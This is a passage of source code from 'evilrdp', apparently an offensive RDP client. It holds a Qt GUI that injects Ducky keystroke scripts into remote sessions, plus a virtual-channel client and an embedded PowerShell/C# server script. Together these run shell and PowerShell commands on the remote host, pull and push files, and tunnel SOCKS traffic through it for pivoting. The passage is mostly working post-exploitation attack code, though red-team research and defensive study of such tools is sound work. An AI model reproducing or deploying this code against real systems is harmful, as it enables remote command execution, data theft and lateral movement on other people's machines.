PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot, QThread, Qt from PyQt5.QtGui import QPainter, QImage, QPixmap import pyperclip # with the help of # https://gist.github.com/jazzycamel/8abd37bf2d60cce6e01d class RDPClientConsoleSettings: def __init__(self, url:str, iosettings:RDPIOSettings): self.mhover:int = True self.keyboard:int = True self.url:str = url self.iosettings:RDPIOSettings = iosettings # file path of the ducky file (if used) self.ducky_file = None # ducky script start delay, None means that typing will not start automatically self.ducky_autostart_delay = 5 class RDPImage: def __init__(self,x,y,image,width,height): self.x = x self.y = y self.image = image self.width = width self.height = height class RDPInterfaceThread(QObject): result=pyqtSignal(RDPImage) connection_terminated=pyqtSignal() def __init__(self, parent=None, **kwargs): super().__init__(parent, **kwargs) self.settings:RDPClientConsoleSettings = None self.conn = None self.consoletask = None self.input_evt = None self.in_q = None self.loop_started_evt = threading.Event() self.gui_stopped_evt = threading.Event() self.input_handler_thread = None self.asyncthread:threading.Thread = None def set_settings(self, settings, in_q): self.settings = settings self.in_q = in_q def inputhandler(self, loop:asyncio.AbstractEventLoop): while not self.conn.disconnected_evt.is_set(): data = self.in_q.get() loop.call_soon_threadsafe(self.conn.ext_in_queue.put_nowait, data) if data is None: break logger.debug('inputhandler terminating') async def ducky_keyboard_sender(self, scancode, is_pressed, as_char = False): ### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end try: #print('SCANCODE: %s' % scancode) #print('is_pressed: %s' % is_pressed) #print('as_char: %s' % as_char) if as_char is False: ki = RDP_KEYBOARD_SCANCODE() ki.keyCode = scancode ki.is_pressed = is_pressed ki.modifiers = VK_MODIFIERS(0) await self.conn.ext_in_queue.put(ki) else: ki = RDP_KEYBOARD_UNICODE() ki.char = scancode ki.is_pressed = is_pressed await self.conn.ext_in_queue.put(ki) except Exception as e: traceback.print_exc() async def ducky_exec(self, bypass_delay = False): try: if self.settings.ducky_file is None: return from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager from aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile if bypass_delay is False: if self.settings.ducky_autostart_delay is not None: await asyncio.sleep(self.settings.ducky_autostart_delay) else: return layout = KeyboardLayoutManager().get_layout_by_shortname(self.settings.iosettings.client_keyboard) executor = DuckyExecutorBase(layout, self.ducky_keyboard_sender, send_as_char = True if self.conn.target.dialect == RDPConnectionDialect.VNC else False) reader = DuckyReaderFile.from_file(self.settings.ducky_file, executor) await reader.parse() except Exception as e: traceback.print_exc() async def rdpconnection(self): input_handler_thread = None try: rdpurl = RDPConnectionFactory.from_url(self.settings.url, self.settings.iosettings) self.conn = rdpurl.get_connection(self.settings.iosettings) _, err = await self.conn.connect() if err is not None: raise err self.consoletask = asyncio.create_task(EVILRDPConsole(self.conn).run()) #asyncio.create_task(self.inputhandler()) input_handler_thread = asyncio.get_event_loop().run_in_executor(None, self.inputhandler, asyncio.get_event_loop()) self.loop_started_evt.set() if self.settings.ducky_file is not None: x = asyncio.create_task(self.ducky_exec()) while not self.gui_stopped_evt.is_set(): data = await self.conn.ext_out_queue.get() if data is None: return if data.type == RDPDATATYPE.VIDEO: ri = RDPImage(data.x, data.y, data.data, data.width, data.height) if not self.gui_stopped_evt.is_set(): self.result.emit(ri) else: return elif data.type == RDPDATATYPE.CLIPBOARD_READY: continue elif data.type == RDPDATATYPE.CLIPBOARD_NEW_DATA_AVAILABLE: continue elif data.type == RDPDATATYPE.CLIPBOARD_CONSUMED: continue elif data.type == RDPDATATYPE.CLIPBOARD_DATA_TXT: continue else: logger.debug('Unknown incoming data: %s'% data) except asyncio.CancelledError: return except Exception as e: traceback.print_exc() finally: if self.conn is not None: await self.conn.terminate() if input_handler_thread is not None: input_handler_thread.cancel() if not self.gui_stopped_evt.is_set(): self.connection_terminated.emit() def starter(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(self.loop) try: self.rdp_connection_task = self.loop.create_task(self.rdpconnection()) self.loop.run_until_complete(self.rdp_connection_task) self.loop.close() except Exception as e: pass @pyqtSlot() def start(self): # creating separate thread for async otherwise this will not return # and then there will be no events sent back from application self.asyncthread = threading.Thread(target=self.starter, args=()) self.asyncthread.start() @pyqtSlot() def stop(self): self.gui_stopped_evt.set() if self.conn is not None and self.loop.is_running(): try: asyncio.run_coroutine_threadsafe(self.conn.terminate(), self.loop) except: pass time.sleep(0.1) # waiting connection to terminate self.rdp_connection_task.cancel() self.loop.stop() @pyqtSlot() def startducky(self): time.sleep(0.1) # waiting for keyboard flush asyncio.run_coroutine_threadsafe(self.ducky_exec(bypass_delay = True), self.loop) class EvilRDPGUI(QMainWindow): #inputevent=pyqtSignal() def __init__(self, settings:RDPClientConsoleSettings): super().__init__() self.settings = settings self.ducky_key_ctr = 0 # enabling this will singificantly increase the bandwith self.mhover = settings.mhover # enabling keyboard tracking self.keyboard = settings.keyboard self.is_rdp = True if settings.url.lower().startswith('rdp') is True else False # setting up the main window with the requested resolution self.setGeometry(0, 0, self.settings.iosettings.video_width, self.settings.iosettings.video_height) # this buffer will hold the current frame and will be contantly updated # as new rectangle info comes in from the server self._buffer = QImage(self.settings.iosettings.video_width, self.settings.iosettings.video_height, QImage.Format_RGB32) # setting up worker thread in a qthread # the worker recieves the video updates from the connection object # and then dispatches it to updateImage # this is needed as the RDPConnection class uses async queues # and QT is not async so an interface between the two worlds # had to be created self.in_q = queue.Queue() self._thread=QThread() self._threaded=RDPInterfaceThread(result=self.updateImage, connection_terminated=self.connectionClosed) self._threaded.set_settings(self.settings, self.in_q) self._thread.started.connect(self._threaded.start) self._threaded.moveToThread(self._thread) qApp.aboutToQuit.connect(self._thread.quit) self._thread.start() # setting up the canvas (qlabel) which will display the image data self._label_imageDisplay = QLabel() self._label_imageDisplay.setFixedSize(self.settings.iosettings.video_width, self.settings.iosettings.video_height) self.setCentralWidget(self._label_imageDisplay) # enabling mouse tracking self.setMouseTracking(True) self._label_imageDisplay.setMouseTracking(True) self.__extended_rdp_keys = { Qt.Key_End : 'VK_END', Qt.Key_Down : 'VK_DOWN', Qt.Key_PageDown : 'VK_NEXT', Qt.Key_Insert : 'VK_INSERT', Qt.Key_Delete : 'VK_DELETE', Qt.Key_Print : 'VK_SNAPSHOT', Qt.Key_Home : 'VK_HOME', Qt.Key_Up : 'VK_UP', Qt.Key_PageUp : 'VK_PRIOR', Qt.Key_Left : 'VK_LEFT', Qt.Key_Right : 'VK_RIGHT', Qt.Key_Meta : 'VK_LWIN', Qt.Key_Enter : 'VK_RETURN', Qt.Key_Menu : 'VK_LMENU', Qt.Key_Pause : 'VK_PAUSE', Qt.Key_Slash: 'VK_DIVIDE', Qt.Key_Period: 'VK_DECIMAL', #Qt.Key_Shift: 'VK_LSHIFT', #Qt.Key_Tab: 'VK_TAB', #Qt.Key_0 : 'VK_NUMPAD0', #Qt.Key_1 : 'VK_NUMPAD1', #Qt.Key_2 : 'VK_NUMPAD2', #Qt.Key_3 : 'VK_NUMPAD3', #Qt.Key_4 : 'VK_NUMPAD4', #Qt.Key_5 : 'VK_NUMPAD5', #Qt.Key_6 : 'VK_NUMPAD6', #Qt.Key_7 : 'VK_NUMPAD7', #Qt.Key_8 : 'VK_NUMPAD8', #Qt.Key_9 : 'VK_NUMPAD9', } self.__qtbutton_to_rdp = { Qt.LeftButton : MOUSEBUTTON.MOUSEBUTTON_LEFT, Qt.RightButton : MOUSEBUTTON.MOUSEBUTTON_RIGHT, Qt.MidButton : MOUSEBUTTON.MOUSEBUTTON_MIDDLE, Qt.ExtraButton1 : MOUSEBUTTON.MOUSEBUTTON_5, Qt.ExtraButton2 : MOUSEBUTTON.MOUSEBUTTON_6, Qt.ExtraButton3 : MOUSEBUTTON.MOUSEBUTTON_7, Qt.ExtraButton4 : MOUSEBUTTON.MOUSEBUTTON_8, Qt.ExtraButton5 : MOUSEBUTTON.MOUSEBUTTON_9, Qt.ExtraButton6 : MOUSEBUTTON.MOUSEBUTTON_10, } def closeEvent(self, event): self.connectionClosed() event.accept() def connectionClosed(self): self.in_q.put(None) self._threaded.stop() self._thread.quit() self.close() def updateImage(self, event): rect = ImageQt(event.image) if event.width == self.settings.iosettings.video_width and event.height == self.settings.iosettings.video_height: self._buffer = rect else: with QPainter(self._buffer) as qp: qp.drawImage(event.x, event.y, rect, 0, 0, event.width, event.height) pixmap01 = QPixmap.fromImage(self._buffer) pixmap_image = QPixmap(pixmap01) self._label_imageDisplay.setPixmap(pixmap_image) self._label_imageDisplay.setAlignment(Qt.AlignCenter) self._label_imageDisplay.setScaledContents(True) self._label_imageDisplay.setMinimumSize(1,1) self._label_imageDisplay.show() ## this is for testing! #def keyevent_to_string(self, event): # keymap = {} # for key, value in vars(Qt).items(): # if isinstance(value, Qt.Key): # keymap[value] = key.partition('_')[2] # modmap = { # Qt.ControlModifier: keymap[Qt.Key_Control], # Qt.AltModifier: keymap[Qt.Key_Alt], # Qt.ShiftModifier: keymap[Qt.Key_Shift], # Qt.MetaModifier: keymap[Qt.Key_Meta], # Qt.GroupSwitchModifier: keymap[Qt.Key_AltGr], # Qt.KeypadModifier: keymap[Qt.Key_NumLock], # } # sequence = [] # for modifier, text in modmap.items(): # if event.modifiers() & modifier: # sequence.append(text) # key = keymap.get(event.key(), event.text()) # if key not in sequence: # sequence.append(key) # return '+'.join(sequence) def send_key(self, e, is_pressed): # https://doc.qt.io/qt-5/qt.html#Key-enum # ducky script starter if is_pressed is True: if e.key()==Qt.Key_Escape: self.ducky_key_ctr += 1 if self.ducky_key_ctr == 3: self.ducky_key_ctr = 0 self._threaded.startducky() else: self.ducky_key_ctr = 0 if self.keyboard is False: return #print(self.keyevent_to_string(e)) if e.key()==(Qt.Key_Control and Qt.Key_V): ki = RDP_CLIPBOARD_DATA_TXT() ki.datatype = CLIPBRD_FORMAT.CF_UNICODETEXT ki.data = pyperclip.paste() self.in_q.put(ki) modifiers = VK_MODIFIERS(0) qt_modifiers = QApplication.keyboardModifiers() if bool(qt_modifiers & Qt.ShiftModifier) is True and e.key() != Qt.Key_Shift: modifiers |= VK_MODIFIERS.VK_SHIFT if bool(qt_modifiers & Qt.ControlModifier) is True and e.key() != Qt.Key_Control: modifiers |= VK_MODIFIERS.VK_CONTROL if bool(qt_modifiers & Qt.AltModifier) is True and e.key() != Qt.Key_Alt: modifiers |= VK_MODIFIERS.VK_MENU if bool(qt_modifiers & Qt.KeypadModifier) is True and e.key() != Qt.Key_NumLock: modifiers |= VK_MODIFIERS.VK_NUMLOCK if bool(qt_modifiers & Qt.MetaModifier) is True and e.key() != Qt.Key_Meta: modifiers |= VK_MODIFIERS.VK_WIN ki = RDP_KEYBOARD_SCANCODE() ki.keyCode = e.nativeScanCode() ki.is_pressed = is_pressed if sys.platform == "linux": #why tho? ki.keyCode -= 8 ki.modifiers = modifiers if e.key() in self.__extended_rdp_keys.keys(): ki.vk_code = self.__extended_rdp_keys[e.key()] #print('SCANCODE: %s' % ki.keyCode) #print('VK CODE : %s' % ki.vk_code) #print('TEXT : %s' % repr(e.text())) self.in_q.put(ki) def send_mouse(self, e, is_pressed, is_hover = False): if is_hover is True and self.settings.mhover is False: # is hovering is disabled we return immediately return buttonNumber = MOUSEBUTTON.MOUSEBUTTON_HOVER if is_hover is False: buttonNumber = self.__qtbutton_to_rdp[e.button()] mi = RDP_MOUSE() mi.xPos = e.pos().x() mi.yPos = e.pos().y() mi.button = buttonNumber mi.is_pressed = is_pressed if is_hover is False else False self.in_q.put(mi) def keyPressEvent(self, e): self.send_key(e, True) def keyReleaseEvent(self, e): self.send_key(e, False) def mouseMoveEvent(self, e): self.send_mouse(e, False, True) def mouseReleaseEvent(self, e): self.send_mouse(e, False) def mousePressEvent(self, e): self.send_mouse(e, True) ================================================ FILE: evilrdp/vchannels/__init__.py ================================================ ================================================ FILE: evilrdp/vchannels/pscmd/__init__.py ================================================ import io import enum import os import asyncio from typing import Dict from aardwolf.extensions.RDPEDYC.vchannels import VirtualChannelBase from asysocks.protocol.socks5 import SOCKS5Method, SOCKS5NegoReply, \ SOCKS5Request, SOCKS5Command, SOCKS5ReplyType, SOCKS5Reply class PSCMD(enum.Enum): OK = 0 ERR = 1 CONTINUE = 2 PS = 20 GETFILE = 21 PUTFILE = 22 FILEDATA = 23 SHELL = 24 SHELLDATA = 25 SOCKETOPEN = 26 SOCKETDATA = 27 class PSCMDMessage: def __init__(self, command: PSCMD ,data:bytes, token:bytes = None, length:int = None): self.length = length self.token = token self.command = command self.data = data def to_bytes(self): if self.token is None: self.token = os.urandom(16) if self.length is None: self.length = len(self.data) + 24 t = self.length.to_bytes(4, byteorder='little', signed=False) t += self.token t += self.command.value.to_bytes(4, byteorder='little', signed=False) t += self.data return t @staticmethod def from_bytes(data:bytes): return PSCMDMessage.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff:io.BytesIO): length = int.from_bytes(buff.read(4), byteorder='little', signed=False) token = buff.read(16) command = PSCMD(int.from_bytes(buff.read(4), byteorder='little', signed=False)) data = buff.read(length-24) return PSCMDMessage(command, data, token, length) def __str__(self): t = '' for k in self.__dict__: t += '%s: %s\r\n' % (k, self.__dict__[k]) return t class PSCMDChannel(VirtualChannelBase): def __init__(self, channelname): VirtualChannelBase.__init__(self, channelname) self.channel_active_evt = asyncio.Event() self.__socksserver = None self.__channels:Dict[bytes, asyncio.Queue[PSCMDMessage]] = {} # token -> Qeue self.__proxytasks = [] async def channel_init(self): print('Channel init called!') self.channel_active_evt.set() for token in self.__channels: await self.__channels[token].put(PSCMDMessage(PSCMD.ERR, b'', token)) return True, None async def channel_data_in(self, data:bytes): try: #print('DATA IN: %s' % data) msg = PSCMDMessage.from_bytes(data) if msg.token not in self.__channels: print('Message arrived from server with unknown token!') return await self.__channels[msg.token].put(msg) except Exception as e: print('Error! %s' % e) return async def channel_closed(self): print('Channel closed!') self.channel_active_evt = asyncio.Event() if self.__socksserver is not None: self.__socksserver.close() self.__socksserver = None async def sendcmd(self, cmd:PSCMDMessage): if cmd.token is None: cmd.token = os.urandom(16) self.__channels[cmd.token] = asyncio.Queue() await self.channel_data_out(cmd.to_bytes()) return cmd.token async def sendrcv_pscmd(self, ps): cmd = PSCMDMessage(PSCMD.PS, ps.encode()) token = await self.sendcmd(cmd) for _ in range(1): msg = await self.__channels[token].get() return msg.data.decode() async def sendrcv_getfile(self, filepath): cmd = PSCMDMessage(PSCMD.GETFILE, filepath.encode()) token = await self.sendcmd(cmd) while True: msg = await self.__channels[token].get() if msg.command == PSCMD.OK: break elif msg.command == PSCMD.ERR: raise Exception('File read error!') elif msg.command == PSCMD.FILEDATA: yield msg.data.decode() else: raise Exception('Unexpected reply type %s' % msg.command) async def sendrcv_shellexec(self, command): cmd = PSCMDMessage(PSCMD.SHELL, command.encode()) token = await self.sendcmd(cmd) while True: msg = await self.__channels[token].get() if msg.command == PSCMD.OK: break elif msg.command == PSCMD.ERR: raise Exception('Shell exec error!') elif msg.command == PSCMD.SHELLDATA: stderr_or_stout = int.from_bytes(msg.data[:4], byteorder='little', signed=False) line = '' if len(msg.data) > 4: line = msg.data[4:].decode() yield (stderr_or_stout, line) else: raise Exception('Unexpected reply type %s' % msg.command) async def __handle_socks_in(self, token:bytes, writer:asyncio.StreamWriter): try: while True: msg = await self.__channels[token].get() if msg.command != PSCMD.SOCKETDATA: break writer.write(msg.data) await writer.drain() finally: writer.close() async def __handle_tcp_client(self, reader:asyncio.StreamReader, writer:asyncio.StreamWriter): initcmd = None pt = None data = await reader.read(1) if data[0] == 5: authlen = await reader.read(1) authlen = authlen[0] methods = await reader.read(authlen) authmethods = [] for c in methods: authmethods.append(SOCKS5Method(c)) rep = SOCKS5NegoReply.construct(SOCKS5Method.NOAUTH) writer.write(rep.to_bytes()) await writer.drain() resp = await SOCKS5Request.from_streamreader(reader) if resp.CMD in [SOCKS5Command.CONNECT, SOCKS5Command.BIND]: data = resp.CMD.value.to_bytes(4, byteorder='little', signed=False) data += resp.DST_PORT.to_bytes(4, byteorder='little', signed=False) data += str(resp.DST_ADDR).encode() initcmd = PSCMDMessage(PSCMD.SOCKETOPEN, data) else: raise NotImplementedError() token = await self.sendcmd(initcmd) msg = await self.__channels[token].get() if msg.command != PSCMD.CONTINUE: print('Failed to open socket on the remote end!') repl = SOCKS5Reply.construct(SOCKS5ReplyType.FAILURE, '', 0) writer.write(repl.to_bytes()) await writer.drain() writer.close() return repl = SOCKS5Reply.construct(SOCKS5ReplyType.SUCCEEDED, '', 0) writer.write(repl.to_bytes()) await writer.drain() elif data[0] == 4: raise NotImplementedError() else: raise ValueError() try: pt = asyncio.create_task(self.__handle_socks_in(token, writer)) self.__proxytasks.append(pt) while True: data = await reader.read(1590) if data == b'': #print('Client disconnected!') return msg = PSCMDMessage(PSCMD.SOCKETDATA, data, token=initcmd.token) await self.channel_data_out(msg.to_bytes()) except Exception as e: print('Error! %s' % e) return finally: if pt is not None: pt.cancel() if initcmd is not None: msg = PSCMDMessage(PSCMD.OK, b'', token=initcmd.token) await self.channel_data_out(msg.to_bytes()) async def socksproxy(self, listen_ip, listen_port): try: self.__socksserver = await asyncio.start_server(self.__handle_tcp_client, listen_ip, listen_port) print('SOCKS proxy started on %s:%s' % (listen_ip, listen_port)) return True, None except Exception as e: return None, e ================================================ FILE: evilrdp/vchannels/pscmd/serverscript.ps1 ================================================ $VCHannelDef = @' using System; using System.Runtime.InteropServices; using System.IO; using System.Text; using Microsoft.Win32.SafeHandles; using System.ComponentModel; using System.Threading.Tasks; using System.Collections.Generic; using System.Net.Sockets; using System.Threading; /// /// The WtsApi32 class is taken from P/Invoke and other sources. /// Most important part is the "Open" function which will return a fully functioning FileStream object for the given channel. /// There is one caveat! One Read command will return at maxiumum 1600bytes (with the 8 byte header included) woth of data. This is /// by RDP protocol design, cannot be changed. The workaround is to design the communication protocol with an appropriate length field /// so you'll know when each packet ends. /// THIS WILL ONLY WORK FROM AN RDP SESSION. RUNNING THIS CODE OUTSIDE AN RDP SESSION WILL FAIL TO OPEN THE CHANNEL (OVBIOUSLY) /// class WtsApi32 { [Flags] public enum DuplicateOptions : uint { DUPLICATE_CLOSE_SOURCE = (0x00000001),// Closes the source handle. This occurs regardless of any error status returned. DUPLICATE_SAME_ACCESS = (0x00000002), //Ignores the dwDesiredAccess parameter. The duplicate handle has the same access as the source handle. } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); private enum WTS_VIRTUAL_CLASS { ClientData, // Virtual channel client module data FileHandle // (C2H data) }; [DllImport("Wtsapi32.dll", SetLastError = true)] public static extern IntPtr WTSVirtualChannelOpen(IntPtr server, int sessionId, [MarshalAs(UnmanagedType.LPStr)] string virtualName); [DllImport("Wtsapi32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] private static extern IntPtr WTSVirtualChannelOpenEx(uint dwSessionID, string pChannelName, int flags); [DllImport("Wtsapi32.dll", SetLastError = true)] public static extern bool WTSVirtualChannelWrite(IntPtr channelHandle, byte[] buffer, int length, ref int bytesWritten); [DllImport("Wtsapi32.dll", SetLastError = true)] public static extern bool WTSVirtualChannelRead(IntPtr channelHandle, int timeout, byte[] buffer, int length, ref int bytesReaded); [DllImport("Wtsapi32.dll")] public static extern bool WTSVirtualChannelClose(IntPtr channelHandle); [DllImport("Wtsapi32.dll", SetLastError = true)] private static extern bool WTSVirtualChannelQuery(IntPtr hChannelHandle, WTS_VIRTUAL_CLASS virtualClass, ref IntPtr ppBuffer, ref uint pBytesReturned); [DllImport("Wtsapi32.dll", ExactSpelling = true, SetLastError = false)] public static extern void WTSFreeMemory(IntPtr memory); public static uint WTS_CURRENT_SESSION = uint.MaxValue; public enum WTS_CHANNEL_OPTION { DYNAMIC = 0x00000001, // dynamic channel DYNAMIC_PRI_LOW = 0x00000000, // priorities DYNAMIC_PRI_MED = 0x00000002, DYNAMIC_PRI_HIGH = 0x00000004, DYNAMIC_PRI_REAL = 0x00000006, DYNAMIC_NO_COMPRESS = 0x00000008 } static public int CHANNEL_CHUNK_LENGTH = 1600; static public int WTS_CHANNEL_OPTION_DYNAMIC = 0x00000001; // dynamic channel static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_LOW = 0x00000000; // priorities static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_MED = 0x00000002; static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_HIGH = 0x00000004; static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_REAL = 0x00000006; static public int WTS_CHANNEL_OPTION_DYNAMIC_NO_COMPRESS = 0x00000008; /// /// Opens the virtual channel over RDP, and returns a FileStream object to read and write to the channel. /// Be careful, the recieved data (on FileStream.Read) will contain 8 bytes in the beginning which is the /// header for the transmission layer, feel free to discard it! /// /// /// /// /// /// public static FileStream Open(string channelName, WTS_CHANNEL_OPTION option = WTS_CHANNEL_OPTION.DYNAMIC | WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS) { // Open IntPtr ppFile; IntPtr sfh = WTSVirtualChannelOpenEx(WTS_CURRENT_SESSION, channelName, (int)option); try { if(sfh == IntPtr.Zero) { int error = Marshal.GetLastWin32Error(); throw new Exception("Failed to open channel! Code: " + error); } IntPtr pBuffer = IntPtr.Zero; try { uint cbReturned = 0; if (!WTSVirtualChannelQuery(sfh, WTS_VIRTUAL_CLASS.FileHandle, ref pBuffer, ref cbReturned) || cbReturned < IntPtr.Size) { throw new Win32Exception(); } var pWtsFile = Marshal.ReadIntPtr(pBuffer); if (!DuplicateHandle( GetCurrentProcess(), pWtsFile, GetCurrentProcess(), out ppFile, 0, false, (uint)DuplicateOptions.DUPLICATE_SAME_ACCESS)) { throw new Win32Exception(); } } finally { WTSFreeMemory(pBuffer); } } finally { } SafeFileHandle pFile = new SafeFileHandle(ppFile, true); // create return new FileStream(pFile, FileAccess.ReadWrite, bufferSize: 32 * 1024 * 1024, isAsync: true); } } /// /// Type enum for each packet. /// public enum CMDType : int { OK = 0, ERR = 1, CONTINUE = 2, PS = 20, GETFILE = 21, PUTFILE = 22, FILEDATA = 23, SHELL = 24, SHELLDATA = 25, SOCKETOPEN = 26, SOCKETDATA = 27, } /// /// Packet class for the communication channel between the server and client component /// Every packet contains this header, the data array structure depends on the CMDType /// public class CMD { public int length; public byte[] token; public CMDType command; public byte[] data; public CMD(byte[]token, CMDType command, byte[]data) { this.token = token; this.command = command; this.data = data; this.length = data.Length + 24; } /// /// Parses the recieved bytes and returns the Packet. /// /// public CMD(byte[] rawdata) { this.length = (Int32)(BitConverter.ToInt16(rawdata, 0)); this.token = new byte[16]; Array.Copy(rawdata, 4, this.token, 0, 16); this.command = (CMDType)(Int32)(BitConverter.ToInt16(rawdata, 20)); if (rawdata.Length > 24 ) { this.data = new byte[rawdata.Length - 24]; Array.Copy(rawdata, 24, this.data, 0, rawdata.Length - 24); } } /// /// Serializes the packet to be sent over the channel. /// /// public byte[] toBytes() { byte[] res = null; using (MemoryStream ms = new MemoryStream()) { ms.Write(BitConverter.GetBytes(this.length), 0, 4); ms.Write(this.token, 0, this.token.Length); ms.Write(BitConverter.GetBytes((int)this.command), 0, 4); if(this.data.Length > 0) { ms.Write(this.data, 0, this.data.Length); } res = ms.ToArray(); } return res; } } /// /// Base class for the subchannels, this is part of the communication framework, not RDP. /// Every time a command with an unknown token arrives from the RDP client, a new SubChannel is created. /// public class SubChannel { protected VChannel manager; protected byte[] token; protected CMD initCmd; protected CancellationTokenSource channelClose; public SubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) { this.manager = manager; this.initCmd = initCmd; this.channelClose = CancellationTokenSource.CreateLinkedTokenSource(managerClose); } virtual public async Task start() { } virtual public async Task HandleIncoming(CMD cmd) { } } /// /// This subchannel type is to manage file read operation. /// Upon start, the whole file specificed by the filepath in the initCmd's data array /// will be read and transmitted back to the client. /// public class FileReadSubChannel : SubChannel { string filepath; public FileReadSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose) { this.filepath = Encoding.UTF8.GetString( initCmd.data); } public override async Task start() { readFile(); } async Task readFile() { try { using (var inFileSteam = new FileStream(filepath, FileMode.Open)) { while(inFileSteam.Length != inFileSteam.Position) { byte[] buffer = new byte[1500]; int bytesRead = await inFileSteam.ReadAsync(buffer, 0, buffer.Length, channelClose.Token); await manager.SendCmd(initCmd.token, CMDType.FILEDATA, buffer); } } await manager.SendCmd(initCmd.token, CMDType.OK); return; } catch (Exception) { //cant put await in catch block... //what is this lunacy... } await manager.SendCmd(initCmd.token, CMDType.ERR); } public override async Task HandleIncoming(CMD cmd) { switch (cmd.command) { case CMDType.OK: case CMDType.ERR: { channelClose.Cancel(); break; } } } } public class FileWriteSubChannel : SubChannel { string filepath; FileStream fs; public FileWriteSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose) { this.filepath = Encoding.UTF8.GetString(initCmd.data); } public override async Task start() { fs = new FileStream(filepath, FileMode.Create, FileAccess.Write); } public override async Task HandleIncoming(CMD cmd) { switch (cmd.command) { case CMDType.FILEDATA: { await fs.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token); break; } case CMDType.OK: case CMDType.ERR: { channelClose.Cancel(); fs.Close(); fs.Dispose(); break; } } } } /// /// This SubChannel is created to manage one-shot style execution of shell commands /// The STDOUT and STDERR data will be sent back to the RDP client, each with a different ID. /// public class CMDExecSubChannel : SubChannel { string command; System.Diagnostics.Process process; public CMDExecSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose) { this.command = Encoding.UTF8.GetString(initCmd.data); } public override async Task start() { procreader(); } async Task procreader() { try { System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command); procStartInfo.RedirectStandardOutput = true; procStartInfo.RedirectStandardError = true; procStartInfo.UseShellExecute = false; procStartInfo.CreateNoWindow = true; process = new System.Diagnostics.Process(); process.StartInfo = procStartInfo; process.Start(); while (!process.HasExited) { string result = process.StandardOutput.ReadToEnd(); if (result.Length > 0) { byte[] xxx = Encoding.UTF8.GetBytes(result); byte[] data = new byte[4 + xxx.Length]; Array.Copy(BitConverter.GetBytes(1), data, 4); Array.Copy(xxx, 0, data, 4, xxx.Length); await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data); } string errresult = process.StandardError.ReadToEnd(); if (result.Length > 0) { byte[] xxx = Encoding.UTF8.GetBytes(errresult); byte[] data = new byte[4 + xxx.Length]; Array.Copy(BitConverter.GetBytes(2), data, 4); Array.Copy(xxx, 0, data, 4, xxx.Length); await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data); } } await manager.SendCmd(initCmd.token, CMDType.OK); return; } catch (Exception objException) { //????????? } await manager.SendCmd(initCmd.token, CMDType.ERR); } public override async Task HandleIncoming(CMD cmd) { } } /// /// SubChannel manages a remote SOCKS server. /// This is not a SOCKS server implementation, rather a simple wrapper around a single socket. /// The actual SOCKS proxy is implemented on the remote end. /// public class SOCKSSubChannel : SubChannel { string hostname; int port; int connect_or_bind; NetworkStream stream; TcpClient client; TcpListener listener; public SOCKSSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose) { this.connect_or_bind = BitConverter.ToInt32(initCmd.data, 0); this.port = BitConverter.ToInt32(initCmd.data, 4); this.hostname = Encoding.UTF8.GetString(initCmd.data, 8, initCmd.data.Length - 8); } public override async Task start() { startComms(); } async Task startComms() { if (connect_or_bind == 1) { client = new TcpClient(); await client.ConnectAsync(hostname, port); stream = client.GetStream(); await manager.SendCmd(initCmd.token, CMDType.CONTINUE); while (true) { byte[] buffer = new byte[1500]; int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token); byte[] recdata = new byte[recvSize]; Array.Copy(buffer, recdata, recdata.Length); await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata); } } else { listener = new TcpListener(port); client = await listener.AcceptTcpClientAsync(); stream = client.GetStream(); await manager.SendCmd(initCmd.token, CMDType.CONTINUE); while (true) { byte[] buffer = new byte[1500]; int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token); byte[] recdata = new byte[recvSize]; Array.Copy(buffer, recdata, recdata.Length); await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata); } } } public override async Task HandleIncoming(CMD cmd) { switch (cmd.command) { case CMDType.SOCKETDATA: { await stream.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token); break; } case CMDType.OK: case CMDType.ERR: { channelClose.Cancel(); stream.Close(); client.Close(); if(connect_or_bind != 1) { listener.Stop(); } break; } } } } /// /// This class manages the Virtual Dynamic channel over the RDP connection. /// The channelname parameter must be known to the client, and by documentation should be max 7 ASCII characters long. /// All communication between the RDP client component and this manager is done over the FileStream object provided by /// the WtsApi32 class. /// This class contains and eventhandler called psCommandExec which can be used to execute PowerShell commands, if you start /// it with the appropriate powershell setup (included in a separate script) /// public class VChannel { public string channelname; private FileStream vchannel; public event EventHandler psCommandExec; private Dictionary channels = new Dictionary(); private CancellationTokenSource cts = new CancellationTokenSource(); public class PSExecEventArgs : EventArgs { public byte[] token { get; set; } public string cmd { get; set; } public VChannel channel { get; set; } } /// /// Powershell exec event trigger /// /// protected virtual void OnPsExecCmd(PSExecEventArgs e) { if (psCommandExec == null) return; psCommandExec.Invoke(this, e); } /// /// Channel name MUST be the same on both the server and the client! /// /// public 